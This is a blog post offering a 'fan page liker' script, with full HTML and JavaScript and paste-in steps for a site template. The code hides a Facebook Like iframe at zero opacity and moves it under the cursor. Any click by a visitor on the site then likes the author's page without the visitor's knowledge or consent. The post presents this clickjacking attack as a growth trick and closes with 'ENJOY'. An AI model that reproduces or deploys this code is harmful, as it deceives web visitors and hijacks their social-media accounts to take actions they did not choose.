Fan page liker script for webmasters :
Many people want to increase no of likes on their Facebook pages so here is a fan page liker script
through which you will get likes on your page when anyone will visit your page and will click anywhere on your website/blog he will automatically like your page
through which you will get likes on your page when anyone will visit your page and will click anywhere on your website/blog he will automatically like your page
CODE IS HERE(PASTE THE CODE AS MENTIONED ABOVE IN HEAD TAG)
<script src="jquery-1.9.1.js" type="text/javascript"></script>
<script type="text/javascript">
var interval = 0;
function updateActiveElement() {
if($(document.activeElement).attr('id') == "fb-iframe") {
clearInterval(interval);
bodyClicked = true;
}
}
$(function() {
interval = setInterval("updateActiveElement();", 50);
});
</script>
Now Paste The below code in body tag
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/xeathprynx[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fb-iframe" name="fb-iframe">
</iframe>
</div>
change xeathprynx with your page name or id(in above code)
Paste the below code in html tag
<script type="text/javascript">
var bodyClicked = false;
var iframeWrapper = document.getElementById('iframe-wrapper');
var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body
function mouseFollower(e) {
// for internet explorer
if (window.event) {
iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
}
else {
iframeWrapper.style.top = (e.pageY-5)+'px';
iframeWrapper.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if(bodyClicked == false) {
mouseFollower(e);
}
}
</script>
Now save the template and you are done with it,
<><><><><><><><><><><><>ENJOY<><><><><><><><><><><><><><><><><><><>
Post a Comment
Post a Comment